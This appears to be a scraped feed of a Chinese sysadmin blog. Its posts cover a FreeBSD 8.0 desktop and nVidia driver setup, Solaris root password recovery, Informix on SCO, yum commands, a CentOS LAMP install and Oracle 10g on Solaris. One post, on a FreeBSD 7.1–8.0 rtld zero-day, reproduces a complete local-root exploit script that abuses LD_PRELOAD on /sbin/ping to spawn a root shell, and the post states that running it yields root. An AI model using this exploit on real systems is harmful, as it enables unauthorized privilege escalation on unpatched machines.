FreeBSD nVidia官方没有提供驱动，只能用ports中的 不过俺看好像也是通过日本的nVidia站点中下载的… 这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。

1.安装cvsup和更新ports CODE: pkg_add -r cvsup sed ‘s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:’ /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile cvsup -g L 2 /usr/ports-supfile

2.通过ports安装nVida显卡驱动 此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。 编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块…. CODE: echo [...]]]> 一、Mini+sys内核源码安装FreeBSD 8.0 releases后，
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长
CODE:
setenv PACKAGEROOT ftp://ftp.freebsdchina.org
pkg_add -r xorg
pkg_add -r gnome2
rehash

上面三个要事觉得慢，可以在三个终端中同步进行。

二、中文环境安装设置

1.安装字体
CODE:
cd /usr/local/lib/X11/fonts/TTF
fetch http://雅黑字体存放路径/msyh.ttf
mkfontdir
mkfontscale
fc-cache -fv

2.设置csh为中文环境
CODE:
echo “setenv PACKAGEROOT ftp://ftp.freebsdchina.org” ~/.cshrc
echo “setenv LANG zh_CN.UTF-8″ ~/.cshrc
echo “setenv LC_CTYPE zh_CN.UTF-8″ ~/.cshrc
echo “setenv LC_ALL zh_CN.UTF-8″ ~/.cshrc
echo “setenv XMODIFIERS @im=fcitx” ~/.cshrc

3.设置
CODE:
echo “/usr/local/bin/gnome-session” > ~/.xinitrc
echo “exec fcitx &” ~/.xinitrc

三、显卡驱动安装

FreeBSD nVidia官方没有提供驱动，只能用ports中的
不过俺看好像也是通过日本的nVidia站点中下载的…
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。

1.安装cvsup和更新ports
CODE:
pkg_add -r cvsup
sed ‘s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:’ /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile
cvsup -g L 2 /usr/ports-supfile

2.通过ports安装nVida显卡驱动
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块….
CODE:
echo “linux_enable=”YES”" >> /etc/rc.conf
kldload linux
pkg_add -r linux_base-f10

nVidia驱动按照自己的显卡型号，选择适应的驱动。驱动在/usr/ports/x11
CODE:
nvidia-driver-173/
nvidia-driver-71/
nvidia-driver-96/
nvidia-driver/

俺是最新的9600GT所以直接选择了nvidia-driver
CODE:
cd /usr/ports/x11/nvidia-driver
make install clean
kldload nvidia

3.让FreeBSD在启动是装载nvidia驱动。
CODE:
echo “nvidia_load=”YES”" >> /boot/loader.conf

四、xorg.conf的配置和Gnome2的启动。
有人说可以不要，但是我觉得我在里面的改动完全都在Gnome2中体现出来。
Xorg -configure
如果是ps/2鼠标
CODE:
cp ~/xorg.conf.new /etc/X11/xorg.conf
echo “hald_enable=”YES”" >> /etc/rc.conf
echo “dbus_enable=”YES”" >> /etc/rc.conf

如果是usb鼠标
CODE:
sed ‘s:/dev/sysmouse:/dev/usm0:’ ~/xorg.conf.new > /etc/X11/xorg.conf
echo “moused_type=”NO”" >> /etc/rc.conf
echo “moused_enable=”NO”" >> /etc/rc.conf

startx
如果nvidia进入Gnome2没有加载nvidia的驱动，就编辑/etc/X11/xorg.conf
把
CODE:
Driver “nv”

改为
CODE:
Driver “nvidia”

前提条件：cd-rom中要放入Solaris引导盘. • 到 OK 提示符下 1．通过按 Stop +A . 2．SC上请输入break -> console -f 也可以进入。

• 在OK 提示符下输入以下命令 #ok boot cdrom -s • 挂启动盘到 /mnt 可以通过df 命令查看,如果是看到d0这种盘符,用/usr/sbin/metastat d0可以找到对应的磁盘名称，如果系统无法登陆的话，可以自己手工将/dev/dsk/c?t?d?s?一个个的试mount，这要看人品了。如果是做了镜像的md盘两个盘都要mount上修改shadow文件.

$ df -k / Filesystem kbytes used avail capacity Mounted on /dev/md/dsk/d0 20655025 [...]]]> Solaris root密码恢复

前提条件：cd-rom中要放入Solaris引导盘.
• 到 OK 提示符下
1．通过按 Stop +A .
2．SC上请输入break -> console -f 也可以进入。

• 在OK 提示符下输入以下命令
#ok boot cdrom -s
• 挂启动盘到 /mnt
可以通过df 命令查看,如果是看到d0这种盘符,用/usr/sbin/metastat d0可以找到对应的磁盘名称，如果系统无法登陆的话，可以自己手工将/dev/dsk/c?t?d?s?一个个的试mount，这要看人品了。如果是做了镜像的md盘两个盘都要mount上修改shadow文件.

$ df -k /
Filesystem kbytes used avail capacity Mounted on
/dev/md/dsk/d0 20655025 8564261 11884214 42% /
$ /usr/sbin/metastat d0
d0: Mirror
Submirror 0: d10
State: Okay
Submirror 1: d20
State: Okay
Pass: 1
Read option: roundrobin (default)
Write option: parallel (default)
Size: 41945472 blocks (20 GB)

d10: Submirror of d0
State: Okay
Size: 41945472 blocks (20 GB)
Stripe 0:
Device Start Block Dbase State Reloc Hot Spare
c0t0d0s0 0 No Okay Yes

d20: Submirror of d0
State: Okay
Size: 41945472 blocks (20 GB)
Stripe 0:
Device Start Block Dbase State Reloc Hot Spare
c0t1d0s0 0 No Okay Yes

Device Relocation Information:
Device Reloc Device ID
c0t0d0 Yes id1,sd@SFUJITSU_MAW3147NCSUN146G000749C0CPN1____DAC0P7C0CPN1
c0t1d0 Yes id1,sd@SFUJITSU_MAW3147NCSUN146G000749C0CP9E____DAC0P7C0CP9E
$
#mount /dev/dsk/c0t0d0s0 /mnt
• 删除root口令信息,编辑/mnt/etc/shadow文件中的root行第二列,
如下所示:
root:IZg8892D8K3eI:14554::::::
# vi /mnt/etc/shadow
• unmount 下 /mnt 再将第二块盘mount来修改shadow
#umount /mnt
• 重启主机进入多用户状态
#reboot
• 重启输入root直接回车就可以进系统了,密码是空的,然后重置root密码:
#passwd

1. 2. scoadmin -> account manager -> group -> add new group 加入 informix 组

scoadmin -> account manager -> user -> add new [...]]]> informix for sco 系统安装
1. 建立informix 用户组及用户。

1.
2. scoadmin -> account manager -> group -> add new group
加入 informix 组

scoadmin -> account manager -> user -> add new 加入 用户，注 意 home directory 应该是你希望安装 informix 的地方，
使用 /usr/informix .
Login group 改为 informix , membership 中加入 informix 组

当然以上步骤可以用命令行的方式 实现，在此就不在重复

————————————————————————
*NOTE:* 一定要先建 informix 组，再建 informix 用户，其中道理不言而喻。
———————————————————————— 核心参数

1. Login in as root
2. scoadmin -> hardware manager/kernel -> parameters
修改以下参数
SHMMAX 134217728
SHMMIN 1
SEMMSL 150
MAXUP 2048

然后 relink kernel, 重新启动。
————————————————————————
*NOTE:* 一般的值，必须根据实际调整，根据他人介绍 可以参照
/etc/conf/cf.d/mtune 中各项的最大值修改，也可添加到与mtune
————————————————————————

3. 修改 informix 用户的 .profile 文件

1. Login in as informix
2. vi .profile
加入如下环境变量
INFORMIXDIR=/usr/informix # informix 用户的绝对路径
ONCONFIG=onconfig # informix 数据库配置文件名称
INFORMIXSERVER=online # informix 数据库server的名称
# 在 onconfig 文件中也有定义，需要使用相同名称
LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql
# esql 编译 .ec 需要使用的 Lib 库文件目录
PATH 中计入 /usr/informix/bin # informix 命令所在路径

最后，export 以上各项。

For example:
我安装的服务器配置为
INFORMIXDIR=/usr/informix
INFORMIXSERVER=online
TERMCAP=$INFORMIXDIR/etc/termcap
ONCONFIG=onconfig
PATH=$INFORMIXDIR/bin:$PATH
LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql:$LD_LIBRARY_PATH
export INFORMIXDIR INFORMIXSERVER ONCONFIG TERMCAP PATH LD_LIBRARY_PATH

————————————————————————
*NOTE:* 一般的值，必须根据实际调整，根据他人介绍 可以参照
/etc/conf/cf.d/mtune 中各项的最大值修改，也可添加到与mtune
————————————————————————

4. 安装 informix 系统应用程序

1. Login in as informix,
确认 .profile 的环境变量已经导入，可以通过 “env | more” 方式查看。

2. 如果安装文件为 *.cpi 方式，假设文件存放在 /tmp/file.cpi, 在 informix 用户目录下执行
$ cpio -iBdumcv -I /tmp/file.cpi # 也可以通过 “cpio -iBdumcv < /tmp/file.cpi" 执行
$ ./installserver # 安装应用程序
# 输入序列号 AA#****** , KEY ***** (注意大小写)

5. 准备数据库存储空间(下面描述均已建立chunk 名为 rootdbs）

5.1 文件方式

1. Login in as informix

2. 文件型数据库存储位置 ( 我习惯使用 /usr/informix/dbs 目录 )
$ cat /dev/null > rootdbs # rootdbs 使用，这个是必须的，但是名字可以随便
以下的 ***dbs 都是可选的，但是 phydbs(物理日志)、logdbs(逻辑日志)、tmpdbs(临时表)、idxdbs(索引) 等都
独立出来可以提升系统的性能
$ cat /dev/null > datadbs
……
$ chmod 660 rootdbs
$ chown informix:informix rootdbs

*NOTE:* ***dbs就是文件，怎么生成都可以， > rootdbs, vi 、touch 都可以

5.2 裸设备方式
裸设备的效能更好一些，但是相对于设置就比较的麻烦了。

1. Login in as root

2. 建立裸设备

# divvy -m /dev/hd0a
hd0a 为第一块硬盘第一个分区， hd1 代表第二块硬盘，如果是 sas 等串口硬盘，估计是 rhd0 等等了(可能不对)

+——————-+————+——–+—+————-+————+
| Name | Type | New FS | # | First Block | Last Block |
+——————-+————+——–+—+————-+————+
| boot | EAFS | no | 0 | 0| 30719|
| swap | NON FS | no | 1 | 30720| 816127|
| root | HTFS | no | 2 | 816128| 8329691|
| | NOT USED | no | 3 | -| -|
| | NOT USED | no | 4 | -| -|
| | NOT USED | no | 5 | -| -|
| recover | NON FS | no | 6 | 8329692| 8329701|
| hd0a | WHOLE DISK | no | 7 | 0| 8377865|
+——————-+————+——–+—+————-+————+
8329702 1K blocks for divisions, 48163 1K blocks reserved for the system

n[ame] Name or rename a division.
c[reate] Create a new file system on this division.
d[elete] Delete a file system on this division.
t[ype] Select or change filesystem type on new filesystems.
p[revent] Prevent a new file system from being created on this division.
s[tart] Start a division on a different block.
e[nd] End a division on a different block.
r[estore] Restore the original division table.

Enter your choice or q to quit:

Type 选择 non fs, Name 填写 rootdbs,

————————————————————————
*NOTE:* divvy 内的 Block 大小为 1K, 据说 chunk(或者说是dbs)的大小不能超过
2G, 建议每一个都设置为 2000000, 也就是 End – Start + 1 = 2000000。
Informix 9.4 的版本支持 Big chunk了，通过 ‘onmode -BC 1′ or ‘onmode -BC 2′ 使用新的页空间
————————————————————————

按照上述分割好裸设备后，在 /dev 目录下面会自动生成chunk名为 Name 的设备名，比如我分割裸设备为 rootdbs
/dev 目录下面会有 /dev/rootdbs 文件。

# chmod 660 rootdbs
# chown informix:informix rootdbs
# su – informix
$ mkdir dbs # 数据库连接文件放此目录
$ cd dbs
$ ln -s /dev/rootdbs rootdbs

————————————————————————
*NOTE:* 关于这里,必须说两句,大家应该养成良好的习惯,就是chunk的路径用链接.
————————————————————————

6. 编辑各种配置文件

6.1 编辑 onconfig 文件

Login in as informix

$ cp onconfig.std onconfig

*NOTE:* 这里的 onconfig 名称需要和 .profile 内的 ONCONFIG=onconfig 设置保持一致.

$ vi onconfig
修改如下参数
ROOTPATH /usr/informix/dbs/rootdbs
ROOTSIZE 2000000
MSGPATH /usr/informix/online.log
TAPEDEV /dev/null
LTAPEDEV /dev/null
DBSERVERNAME online

*NOTE:* DBSERVERNAME 同.profile中INFORMIXSERVER名字，和sqlhosts 第三个字段保持一致，
这点非常重要.

6.2 编辑 sqlhosts 文件

原来一般为
demo_on onipcshm on_hostname on_servername
demo_se seipcpip se_hostname sqlexec

更改为
demo_on onipcshm on_hostname on_servername
#demo_se seipcpip se_hostname sqlexec
online ontlitcp hostname online_service

————————————————————————
*NOTE:* 这几个字段’online’是SERVER名，在onconfig 中’DBSERVERNAME’,
.profile 中’INFORMIXSERVER’ 是一个名称，ontlitcp 表示通过 tcp/ip 方式,
‘hostname’ 是在 /etc/hostname 中设置的名称,
‘online_service’ 是在 /etc/services 中的 tcp/ip 端口名称。
这里要注意的是这个配置和在linux下的是完全不一样的,linux下的不是ontlitcp.(没玩过Linux上的informix，不清楚是什么)
————————————————————————

6.2 编辑/etc/services 文件

在 /etc/services 中加入 online_service 8888/tcp 即可，再次强调 online_service
这个名称一定要 sqlhosts 的保持一致，数字可选，但是请使用 文件中没有的端口号，
1-1024是系统端口号，不要大于 65535 (2的16次方)

7. 检查上述设置并初始化

1. Login in as informix

2. 通过字符界面
$ onmonitor
Parameters -> Initialize 方式可以初始化。

3. 命令方式
$ oninit -ivy
-i 表示初始化 (这个参数可别用在已经有数据的生产上，那会死人的)
-v verbose (这个单词不知道怎么解释，反正你能看到启动的各种信息输出，比较直观)
-y 全部提示问题都回答 y

————————————————————————
*NOTE:* 2,3 可选任意一种, 建议选择命令方式。如果出错了可以查看
online.log 日志文件看到底什么出错了。
————————————————————————

按照上述过程，全部安装完毕！

ONLINE的运行及基本监控

1. 启动
$ oninit
2. 关闭
$ onmode -ky
3. 状态
$ onstat -
你可以 ‘onstat –help’ 看一下，仔细研究onstat .

　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。

相关脚本如下：

#!/bin/sh echo “FreeBSD local r00t zeroday by Kingcope on November 2009″ cat > env.c /dev/null 2>&1 #download from baoz.net cat > program.c ]]> 以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。

　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。

相关脚本如下：

#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c << _EOF
#include
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);
execl(”/sbin/ping”, “ping”, 0);
}
_EOF
gcc env.c -o env > /dev/null 2>&1
#download from baoz.net
cat > program.c << _EOF
#include
#include
#include
#include
void _init() {
extern char **environ;
environ=NULL;
system(”echo ALEX-ALEX;/bin/sh”);
}
_EOF
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env

FreeBSD尚未就该0day漏洞发布安全公告及官方补丁。

这个命令在查找安装盘中的rpm比较快，现在把常用的命令用法列一下，当笔记记录一下 1.列出所有可更新的软件清单 命令：yum check-update 2.安装所有更新软件 命令：yum update 3.仅安装指定的软件 命令：yum install 4.仅更新指定的软件 命令：yum update 5.列出所有可安裝的软件清单 命令：yum list 用YUM安装删除软件 装了系统添加删除软件是常事，yum同样可以胜任这一任务，只要软件是rpm安装的。 安装的命令是，yum install xxx，yum会查询数据库，有无这一软件包，如果有，则检查其依赖冲突关系，如果没有依赖冲突，那么最好，下载安装;如果有，则会给出提示，询问是否要同时安装依赖，或删除冲突的包，你可以自己作出判断。 删除的命令是，yum remove xxx，同安装一样，yum也会查询数据库，给出解决依赖关系的提示。 1.用YUM安装软件包 命令：yum install 2.用YUM删除软件包 命令：yum remove 用YUM查询软件信息 我 们常会碰到这样的情况，想要安装一个软件，只知道它和某方面有关，但又不能确切知道它的名字。这时yum的查询功能就起作用。你可以用 yum search keyword这样的命令来进行搜索，比如我们要则安装一个Instant Messenger，但又不知到底有哪些，这时不妨用 yum search messenger这样的指令进行搜索，yum会搜索所有可用rpm的描述，列出所有描述中和messeger有关的rpm包，于 是我们可能得到gaim，kopete等等，并从中选择。 有时我们还会碰到安装了一个包，但又不知道其用途，我们可以用yum info packagename这个指令来获取信息。 1.使用YUM查找软件包 命令：yum search 2.列出所有可安装的软件包 命令：yum list 3.列出所有可更新的软件包 命令：yum list updates 4.列出所有已安装的软件包 命令：yum list installed 5.列出所有已安装但不在 Yum Repository 內的软件包 命令：yum list extras 6.列出所指定的软件包 命令：yum list 7.使用YUM获取软件包信息 命令：yum info 8.列出所有软件包的信息 命令：yum info 9.列出所有可更新的软件包信息 命令：yum info updates 10.列出所有已安裝的软件包信息 命令：yum info installed 11.列出所有已安裝但不在 Yum Repository 內的软件包信息 命令：yum info extras 12.列出软件包提供哪些文件 命令：yum provides 清除YUM缓存 yum 会把下载的软件包和header存储在cache中，而不会自动删除。如果我们觉得它们占用了磁盘空间，可以使用yum clean指令进行清除，更精确 的用法是yum clean headers清除header，yum clean packages清除下载的rpm包，yum clean [...]]]> 前几天，为了搭建另外一个CENTOS服务器。好好研究了一下yum的用法，转将一篇从网上找的文章转贴于这里。方便俺日后查询吧。。

这个命令在查找安装盘中的rpm比较快，现在把常用的命令用法列一下，当笔记记录一下
1.列出所有可更新的软件清单
命令：yum check-update
2.安装所有更新软件
命令：yum update
3.仅安装指定的软件
命令：yum install
4.仅更新指定的软件
命令：yum update
5.列出所有可安裝的软件清单
命令：yum list
用YUM安装删除软件
装了系统添加删除软件是常事，yum同样可以胜任这一任务，只要软件是rpm安装的。
安装的命令是，yum install xxx，yum会查询数据库，有无这一软件包，如果有，则检查其依赖冲突关系，如果没有依赖冲突，那么最好，下载安装;如果有，则会给出提示，询问是否要同时安装依赖，或删除冲突的包，你可以自己作出判断。
删除的命令是，yum remove xxx，同安装一样，yum也会查询数据库，给出解决依赖关系的提示。
1.用YUM安装软件包
命令：yum install
2.用YUM删除软件包
命令：yum remove
用YUM查询软件信息
我 们常会碰到这样的情况，想要安装一个软件，只知道它和某方面有关，但又不能确切知道它的名字。这时yum的查询功能就起作用。你可以用 yum search keyword这样的命令来进行搜索，比如我们要则安装一个Instant Messenger，但又不知到底有哪些，这时不妨用 yum search messenger这样的指令进行搜索，yum会搜索所有可用rpm的描述，列出所有描述中和messeger有关的rpm包，于 是我们可能得到gaim，kopete等等，并从中选择。
有时我们还会碰到安装了一个包，但又不知道其用途，我们可以用yum info packagename这个指令来获取信息。
1.使用YUM查找软件包
命令：yum search
2.列出所有可安装的软件包
命令：yum list
3.列出所有可更新的软件包
命令：yum list updates
4.列出所有已安装的软件包
命令：yum list installed
5.列出所有已安装但不在 Yum Repository 內的软件包
命令：yum list extras
6.列出所指定的软件包

命令：yum list
7.使用YUM获取软件包信息
命令：yum info
8.列出所有软件包的信息
命令：yum info
9.列出所有可更新的软件包信息
命令：yum info updates
10.列出所有已安裝的软件包信息
命令：yum info installed
11.列出所有已安裝但不在 Yum Repository 內的软件包信息
命令：yum info extras
12.列出软件包提供哪些文件
命令：yum provides
清除YUM缓存
yum 会把下载的软件包和header存储在cache中，而不会自动删除。如果我们觉得它们占用了磁盘空间，可以使用yum clean指令进行清除，更精确 的用法是yum clean headers清除header，yum clean packages清除下载的rpm包，yum clean all一 股脑儿端
1.清除缓存目录(/var/cache/yum)下的软件包
命令：yum clean packages
2.清除缓存目录(/var/cache/yum)下的 headers
命令：yum clean headers
3.清除缓存目录(/var/cache/yum)下旧的 headers
命令：yum clean oldheaders
4.清除缓存目录(/var/cache/yum)下的软件包及旧的headers
命令：yum clean, yum clean all (= yum clean packages; yum clean oldheaders)

如果强制使用5的源（用于升级系统到centos5），如下： [base] name=CentOS-5 – Base baseurl=http://mirrors.163.com/centos/5/os/x86_64/ gpgcheck=1 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5 [updates] name=CentOS-5 – Updates baseurl=http://mirrors.163.com/centos/5/updates/x86_64/ gpgcheck=1 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5 ＃这里是设置centos4的源 如果根据系统使用源，则如下： [base] name=CentOS-$releasever ¨C Base baseurl=http://mirrors.163.com/centos/$releasever/os/$basearch/ gpgcheck=1 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5 [updates] name=CentOS-$releasever Updates baseurl=http://mirrors.163.com/centos/$releasever/updates/$basearch/ gpgcheck=1 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5 [addons] name=CentOS-$releasever Addons baseurl=http://mirrors.163.com/centos/$releasever/addons/$basearch/ gpgcheck=1 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5 [extras] name=CentOS-$releasever Extras baseurl=http://mirrors.163.com/centos/$releasever/extras/$basearch/ gpgcheck=1 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5 [centosplus] name=CentOS-$releasever Plus baseurl=http://mirrors.163.com/centos/$releasever/centosplus/$basearch/ gpgcheck=1 enabled=0 gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5

centos 用yum来管理安装Apache+PHP+Mysql的基本安装。 1. 安装Apahce, PHP, Mysql, 以及php连接mysql库组件。 yum -y install httpd php mysql mysql-server php-mysql Yum -y install mysql* 2. 配置开机启动服务 /sbin/chkconfig httpd on [设置apache服务器httpd服务开机启动] /sbin/chkconfig –add mysqld [在服务清单中添加mysql服务] /sbin/chkconfig mysqld [...]]]> 由于网站国庆中秋假期出了点问题，是网站服务器管理员人为因素造成的网站不能访问。俺深思之下，决定外迁网站，就跟其它相熟的网友伸请一个免费的VPS主机，空间不大那种。，但空间完全让俺管理，没有其它网站服务的。而且环境还是裸机环境，也就是除了基本系统，以及一个yum外。没有其它网络服务在运行。也就是apache mysql,php环境要自已完全搭建。在搭建apache mysql php环境虽遇到一些波折。但也学习懂得许多，也了解到更多，同时，也精进俺在linux/unix的服务器维护以及以及数据库维护持术。由于俺很久没用linux，以往也少用yum这种软件版本升级安装工具。所以，俺也借此环境搭建，熟悉了yum这种软件版本升级安装工具，以及相关命令。。。。
由于服友的vps 系统是centos 4.2 所以，也只能安装apache2,mysql4,php4 ，可能由yum源的限制，centos 4只能安装apache2,mysql4,php4 ,暂时没有找到可以在centos4.安装apache2,mysql5,php5的源。当然，俺从中也懂得如何修改yum的源。俺之前都说，俺很少用yum。这些也顺便熟悉yum源的设置与相关命令使用。。　
俺在安装apache2,mysql4,php4时，借鉴一些网上的文档，由于网上的文档千篇一律，大同小异，并且都没有什么验证过。致使俺在安装amp环境时，遇到一些疑惑或者问题，但后来都懂过经验来判断解决。。。下面就是俺的安装笔记。跟网上一些文档有些区别，算是俺的修订版吧。。。

centos 用yum来管理安装Apache+PHP+Mysql的基本安装。
1. 安装Apahce, PHP, Mysql, 以及php连接mysql库组件。
yum -y install httpd php mysql mysql-server php-mysql
Yum -y install mysql*
2. 配置开机启动服务
/sbin/chkconfig httpd on [设置apache服务器httpd服务开机启动]
/sbin/chkconfig –add mysqld [在服务清单中添加mysql服务]
/sbin/chkconfig mysqld on [设置mysql服务开机启动]
/sbin/service httpd start [启动httpd服务,与开机启动无关]
/sbin/service mysqld start [启动mysql服务,与开机无关]

Yum 安装的mysql下自动生成my.cnf没法正常使用。致使mysql无法正常启动。必需手工编辑一个新的my.cnf 文件。
但就是在这点花费大量时间去排查与查文档。查了大量文档，都没有查到，最后才在一个外国网站查到有人说，centos4　默认yum安装mysql 所产生的my.cnf有问题。所以，俺才将排查重点放在my.cnf　上面。最后，在网上顺便找一个my.cnf配置代替原有的my.cnf ，之后，mysql就启动成功。。
My.cnf内容如下：
[client]
#password = your_password
port = 3306
socket = /var/lib/mysql/mysql.sock

[mysqld]
port = 3306
socket = /var/lib/mysql/mysql.sock
skip-locking
key_buffer = 16M
max_allowed_packet = 1M
table_cache = 64
sort_buffer_size = 512K
net_buffer_length = 8K
read_buffer_size = 256K
read_rnd_buffer_size = 512K
myisam_sort_buffer_size = 8M
skip-innodb

log-bin
server-id = 1
[mysqldump]
quick
max_allowed_packet = 16M

[mysql]
no-auto-rehash
# Remove the next comment character if you are not familiar with SQL
#safe-updates

[isamchk]
key_buffer = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M

[myisamchk]
key_buffer = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M

[mysqlhotcopy]
interactive-timeout
再运行 /sbin/service mysqld start mysql 就运行成功。
3.设置mysql数据库root帐号密码。
mysqladmin -u root password ‘newpassword’ [引号内填密码]
4. 让mysql数据库更安全
mysql -u root -p
mysql> DROP DATABASE test; [删除test数据库]
mysql> DELETE FROM mysql.user WHERE user = ”; [删除匿名帐户]
mysql> FLUSH PRIVILEGES; [重载权限]
5. 按照以上的安装方式, 配置出来的默认站点目录为/var/www/html/
//安装apache扩展
yum -y install httpd-manual mod_ssl mod_perl mod_auth_mysql
//安装php的扩展
yum install php-gd
yum -y install php-gd php-xml php-mbstring php-ldap php-pear php-xmlrpc
//安装mysql扩展
yum -y install mysql-connector-odbc mysql-devel libdbi-dbd-mysql

vi /etc/system

set shmsys:shminfo_shmmax=268435456（本机内存为512M）

set shmsys:shminfo_shmmin=1

set shmsys:shminfo_shmmni=100

set shmsys:shminfo_shmseg=10

set semsys:seminfo_semmni=110

set semsys:seminfo_semmns=310

2. 创建用户和组

# groupadd dba

#useradd –g dba –d /export/home/oracle –m oracle

#passwd oracle

3.设定oracle用户的环境参数

#su – oracle

$vi .profile # 加入内容：

ORACLE_BASE=/export/home/oracle

ORACLE_HOME=$ORACLE_BASE/product/10.0

ORACLE_SID=ora10g NLS_LANG=AMERICAN_AMERICA.ZHS16GBK

PATH=$ORACLE_HOME/bin:/bin:/sbin:/usr/ccs/bin:/usr/local/bin

LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/network/lib:/usr/local/lib:/usr/lib

TMPDIR=/var/tmp

export ORALCE_BASE ORACLE_HOME ORACLE_SID NLS_LANG PATH

LD_LIBRARY_PATH DISPLAY TMPDIR

umask 022

# DISPLAY=192.168.0.178:0.0 俺在安装时会报错，后来就注释

4.解压oracle 10g安装包

将长长的文件名改为sol10g.cpio.gz

#cp sol10g.cpio.gz [...]]]> 1、安装solaris10过程略
1. 修改内核

vi /etc/system

set shmsys:shminfo_shmmax=268435456（本机内存为512M）

set shmsys:shminfo_shmmin=1

set shmsys:shminfo_shmmni=100

set shmsys:shminfo_shmseg=10

set semsys:seminfo_semmni=110

set semsys:seminfo_semmns=310

2. 创建用户和组

# groupadd dba

#useradd –g dba –d /export/home/oracle –m oracle

#passwd oracle

3.设定oracle用户的环境参数

#su – oracle

$vi .profile # 加入内容：

ORACLE_BASE=/export/home/oracle

ORACLE_HOME=$ORACLE_BASE/product/10.0

ORACLE_SID=ora10g

NLS_LANG=AMERICAN_AMERICA.ZHS16GBK

PATH=$ORACLE_HOME/bin:/bin:/sbin:/usr/ccs/bin:/usr/local/bin

LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/network/lib:/usr/local/lib:/usr/lib

TMPDIR=/var/tmp

export ORALCE_BASE ORACLE_HOME ORACLE_SID NLS_LANG PATH

LD_LIBRARY_PATH DISPLAY TMPDIR

umask 022

# DISPLAY=192.168.0.178:0.0 俺在安装时会报错，后来就注释

4.解压oracle 10g安装包

将长长的文件名改为sol10g.cpio.gz

#cp sol10g.cpio.gz /export/home

在解压 #gunzip sol10g.cpio.gz

#cpio –ivmd < 10g.cpio

修改/export/home/Disk1/install里，修改oraparam.ini oraparam.var 的版本声明Solaris=5.6,5.7,5.8,5.9,

5.安装

以oracle帐号进行安装

./runInstaller 后面的步骤就简单

在solaris10上安装oracle10g过程及问题简单记录
下载的文件为solarisx86_DB_10_1_0_3_Disk1.cpio.gz
1、首先解gz文件
#gunzip solarisx86_DB_10_1_0_3_Disk1.cpio.gz
2、解cpio文件
#cpio -idmv < solarisx86_DB_10_1_0_3_Disk1.cpio
3、安装时提示：
Checking operating system version: must be 5.6, 5.7, 5.8 or 5.9. Actual 5.10
Failed <<<<
问题解决：
在……../Disk1/install里，修改oraparam.ini oraparam.var

修改如下：
vi oraparam.ini

#You can customise error message shown for failure through CERTIFIED_VERSION_FAI
LURE_MESSAGE
Solaris=5.6,5.7,5.8,5.9,5.10 （就是添加5.10）
Linux=redhat-2.1AS
#HPUX=B.11.00
Decunix=V5.1A,V5.1
AIX=5.1.0.0

vi oraparam.var

#You can customise error message shown for failure through CERTIFIED_VERSION_FAI
LURE_MESSAGE
Solaris=5.8,5.9,5.10 （就是添加5.10）
Windows=4.0,5.0,5.1,5.2
Linux=redhat-2.1AS
HPUX=B.11.11
Decunix=V5.1A,V5.1
AIX=5.1.0.0

保存，再执行./runInstaller 。

Oracle10g EM乱码之快速解决
如果安装时,我们系统环境变量设置的是中文环境,那么就不会有这个问题.这个问题根本原因在于安装时,JDK/JRE字符集的自动选择.
在 $ORACLE_HOME/jdk/jre/lib 和 $ORACLE_HOME/jre/1.4.2/lib/ 目录下都有多种字符集字体配置文件:

[oracle@danaly ~]$ cd $ORACLE_HOME/jdk/jre/lib
[oracle@danaly lib]$ ls font*zh_CN*
font.properties.zh_CN.Redhat font.properties.zh_CN.Redhat2.1
font.properties.zh_CN.Sun font.properties.zh_CN_UTF8.Sun
[oracle@danaly lib]$ cd $ORACLE_HOME/jre/1.4.2/lib/
